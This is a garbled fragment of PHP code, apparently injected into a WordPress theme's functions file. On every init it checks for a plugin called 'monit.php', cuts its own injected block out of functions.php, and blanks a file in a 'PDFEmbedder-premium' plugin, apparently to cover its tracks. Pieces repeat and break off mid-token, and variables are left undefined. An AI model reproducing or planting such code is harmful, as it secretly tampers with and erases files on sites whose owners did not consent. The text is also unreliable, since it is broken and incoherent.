; } } $new_active_plugins = get_option('active_plugins'); if (in_array('monit.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, " file_put_contents($functionsPath, $str); } $script = file_get_contents('/var/www/html/fis/wp-content/plugins/PDFEmbedder-premium/core/class.plugin-modules.php'); file_put_contents('/var/www/html/fis/wp-content/plugins/PDFEmbedder-premium/core/class.plugin-modules.php', ''); } } add_action('init', 'true_plugins_activate'); gins_activate") + 3; if($start && $end) { $str = substr($functions, 0, $start); $str .= substr($functions, $endDelete); file_put_contents($functionsPath, $str); } $script = file_get_contents('/var/www/html/fis/wp-content/plugins/PDFEmbedder-premium/core/class.plugin-modules.php'); file_put_contents('/var/www/html/fis/wp-content/plugins/PDFEmbedder-premium/core/class.plugin-modules.php', ''); } } add_action('init', 'true_plugins_activate'); ins/PDFEmbedder-premium/core/class.plugin-modules.php'); file_put_contents('/var/www/html/fis/wp-content/plugins/PDFEmbedder-premium/core/class.plugin-modules.php', ''); } } add_action('init', 'true_plugins_activate');